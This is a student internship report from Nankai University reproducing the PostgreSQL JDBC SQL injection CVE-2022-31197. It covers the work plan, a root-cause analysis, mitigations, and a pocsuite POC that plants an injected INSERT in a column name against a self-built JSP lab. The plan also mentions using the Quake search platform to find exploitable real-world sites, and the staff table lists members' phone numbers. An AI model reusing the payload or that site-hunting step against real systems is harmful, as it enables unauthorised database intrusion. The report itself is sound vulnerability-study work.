**南开大学**

**实习实训漏洞复现报告**

**2023年7月20日**

目录

[1.漏洞复现结论（15分） 1](#_Toc28487)

[1.1风险等级分布 1](#_Toc7481)

[2.工作计划（25分） 1](#_Toc24528)

[2.1工作人员 1](#_Toc13939)

[2.2漏洞对象 1](#_Toc3137)

[2.3漏洞复现阶段 1](#_Toc7909)

[2.4风险等级 2](#_Toc1860)

[3.漏洞复现过程（35分） 2](#_Toc6133)

[3.1 风险管理及规避 2](#_Toc18532)

[3.2测试方法 2](#_Toc4033)

[3.3测试中所用的工具 2](#_Toc28445)

[4. 漏洞复现结果（25分） 3](#_Toc12892)

[4.1 POC插件编写 3](#_Toc32666)

[4.2 漏洞信息 3](#_Toc25120)

# 1.漏洞复现结论（15分）

南开大学实习实训第十一组的安全人员采用科学的漏洞复现步骤于2023年7月18日至2023年7月20日对PostgreSql sql注入漏洞进行了全面深入的漏洞复现。

本次共发现漏洞1个，其高危漏洞1个，中危漏洞0个,低危漏洞0个。

|  |  |  |
| --- | --- | --- |
| **序号** | **漏洞名称** | **风险值** |
| 1 | PostgreSQL JDBC SQL注入漏洞（） | 8 |

## 1.1风险等级分布

本次评估漏洞的详细风险等级分布如下：

## 

# 2.工作计划（25分）

## 2.1工作人员

|  |  |  |  |
| --- | --- | --- | --- |
| 序号 | 职务 | 姓名 | 联系方式 |
| 1 | 组长 | 王伯雅 | 15503567789 |
| 2 | 组员 | 李佳豪 | 13191110713 |
| 3 | 组员 | 刘哲泽 | 16650717520 |
| 4 | 组员 | 钟雨哲 | 17879630977 |
| 5 | 组员 | 吴帅达 | 13375663376 |

## 2.2漏洞对象

## PostgreSQL JDBC SQL注入漏洞（环境本地搭建）

## 2.3漏洞复现阶段

|  |  |
| --- | --- |
| 项目阶段 | 工作内容 |
| 学习漏洞概况 | 根据现有信息学习漏洞环境、产生环境  <http://www.hackdig.com/08/hack-762021.htm>  <https://github.com/pgjdbc/pgjdbc/security/advisories/GHSA-r38f-c4h4-hqq2> |
| 搭建环境 | 下载安装PostgreSQL（versions 42.2.25）与java8,使用Navicat连接数据库，编写和漏洞产生相适配的web环境  即保证1)数据库列名可控2)表内有数据3)调用了next()函数。 |
| 理解漏洞产生原因、条件 | 根据文档查看函数ResultSet.refreshRow()的源码，查询该SQL注入漏洞产生的原因，分析总结漏洞产生条件 |
| 查找实战环境 | 根据PostgresSQL信息在quake平台查找、过滤漏洞可利用网站进行测试 |
| 提交POC | 按照漏洞复现的流程，结合抓包结果和POC框架，编写poc代码，实现自动漏洞测试验证；提交至平台 |

## 

## 2.4风险等级

|  |  |  |
| --- | --- | --- |
| 编号 | 风险等级 | 风险描述 |
| 1 | 8-高危 | 该攻击要求攻击者诱骗用户针对列名包含恶意 SQL 的表名执行 SQL，然后调用 ResultSet 上的“refreshRow()”方法。应用程序的 JDBC 用户和数据库所有者不必相同。以特权用户身份执行并查询潜在恶意的低特权用户所拥有的数据库将很容易受到攻击。 |

# 3.漏洞复现过程（35分）

## 3.1 风险管理及规避

该漏洞的产生，终究是因为在ResultSet.refreshRow()函数内部，将一个完整sql语法中的select column from table和where及之后的主键简单拼接，由于column、table和主键均来自于数据库底层的全局变量，若该变量可控，即可使用’;’结合拼接操作完成payload注入。

因此，可以对数据库的列名初始化时便进行充分的过滤；或者避免对sql语句的简单拼接，而是经过仔细的审查。

## 3.2测试方法

本地搭建适配漏洞的web环境，并使用python编写自动化脚本进行检测。

## 3.3测试中所用的工具

Java 8；eclipse；postgreSQL 42.2.25；python2.7；navicat；

# 漏洞复现结果（25分）

## POC插件编写

## #!/usr/bin/env python

## # -\*- coding: utf-8 -\*-

## from pocsuite.api.request import req

## from pocsuite.api.poc import register,Output, POCBase

## from pocsuite.thirdparty.guanxing import parse\_ip\_port, http\_packet, make\_verify\_url

## class TestPOC(POCBase):

## vulID = ''''''

## cveID = 'CVE-2022-31197'

## cnvdID = ''''''

## cnnvdID = ''''''

## version = ''''''

## author = 'Li JiaHao'

## vulDate = '2022/8/23 17:47:51'

## createDate = '2023-07-19'

## updateDate = '2023-07-19'

## name = ''''''

## desc = ''''''

## solution = ''''''

## severity = ''''''

## vulType = ''''''

## taskType = ''''''

## references = ['https://github.com/pgjdbc/pgjdbc/security/advisories/GHSA-r38f-c4h4-hqq2','http://www.hackdig.com/08/hack-762021.htm']

## appName = 'PostgreSQL JDBC SQL注入漏洞'

## appVersion = ''''''

## appPowerLink = ''''''

## samples = ['']

## install\_requires = ['''''']

## def \_verify(self):

## self.url,ip,port = parse\_ip\_port(self.target, 80)

## result = {}

## headers = {

## 'Content-Type':'application/x-www-form-urlencoded; charset=UTF-8'

## }

## path = "/CVE/test.jsp?table=annormal2" #漏洞的路径

## base\_url = "/CVE/"

## my\_row = (6,'fond')

## def create\_annormal\_table():

## payload = 'table\_name=annormal2&columns=id-%221;insert%20into%20users%20values(6,%27fond%27,%27555%27);select%20\*%22&types=int,int'

## url = self.url+base\_url + 'create.jsp?' + payload

## r = req.get(url, timeout=10)

## return r

## def insert\_data(n):

## payload = 'table\_name=annormal2&val=' + str(n) + ',' + str(n)

## url = self.url+base\_url + 'insert.jsp?' + payload

## r=req.get(url, headers=headers, verify=False, allow\_redirects=False, timeout=10)

## return r

## create\_annormal\_table()

## for i in range(2):

## insert\_data(i)

## vul\_url = self.url + path

## resp = req.post(vul\_url, headers=headers, verify=False, allow\_redirects=False, timeout=10)

## if resp.status\_code == 200 and "Key (id)=(6) already exists." in resp.text:

## result['VerifyInfo'] = http\_packet(resp)

## result['VerifyInfo']['URL'] = vul\_url

## result['VerifyInfo']['port'] = port

## return self.parse\_output(result)

## # vul\_url = make\_verify\_url(self.url, path, mod=0) #生成完整路径

## # data = '' #漏洞的data数据

## # resp = req.post(vul\_url, headers = headers, data = data, verify = False, allow\_redirects = False, timeout = 10)

## # if resp.status\_code == 200 and '' in resp.content: #判断条件

## # result['VerifyInfo'] = http\_packet(resp)

## # result['VerifyInfo']['URL'] = vul\_url

## # result['VerifyInfo']['port'] = port

## # return self.parse\_output(result)

## def \_attack(self):

## return self.\_verify()

## def parse\_output(self, result):

## output = Output(self)

## if result:

## output.success(result)

## else:

## output.fail('Failed')

## return output

## register(TestPOC)

## 4.2 漏洞信息

|  |  |  |  |  |  |
| --- | --- | --- | --- | --- | --- |
| **UVD-ID** | 空 | **漏洞类别** | SQL注入 | **CVE-ID** | CVE-2022-31197 |
| **披露/发现时间** | 2022/8/23 17:47:51 | **bugtraq编号** | 空 | **CNNVD-ID：** | 空 |
| **提交时间** | 2023/7/19 | **漏洞发现者** | 空 | **CNVD-ID：** | 空 |
| **漏洞等级** | 高危 | **提交者** | 李佳豪/  王伯雅 | **搜索关键词** | PostgreSQL |
| **影响范围** | org.postgresql:postgresql < 42.2.26  >= 42.3.0, < 42.3.7  >= 42.4.0, < 42.4.1 | | | | |
| **来源** | https://github.com/pgjdbc/pgjdbc/security/advisories/GHSA-r38f-c4h4-hqq2 | | | | |
| **漏洞简介** | PostgreSQL JDBC SQL注入漏洞 | | | | |
| **漏洞详情** | 该攻击要求攻击者诱骗用户针对列名包含恶意 SQL 的表名执行 SQL，然后调用 ResultSet 上的“refreshRow()”方法。应用程序的 JDBC 用户和数据库所有者不必相同。以特权用户身份执行并查询潜在恶意的低特权用户所拥有的数据库将很容易受到攻击。 | | | | |
| **参考链接** | |  | | --- | | <https://github.com/pgjdbc/p>gjdbc/security/advisories/GHSA-r38f-c4h4-hqq2  http://www.hackdig.com/08/hack-762021.htm | | | | | |
| **靶场信息** | 靶场自行搭建，用户权限包括对test下table的建立、查看内容和插入数据，在查看table内容时ResultSet.next()后,调用了漏洞版本的refreshRow()。 | | | | |
| **POC** | 如上. | | | | |
| **修复方案** | 更新为新版本 | | | | |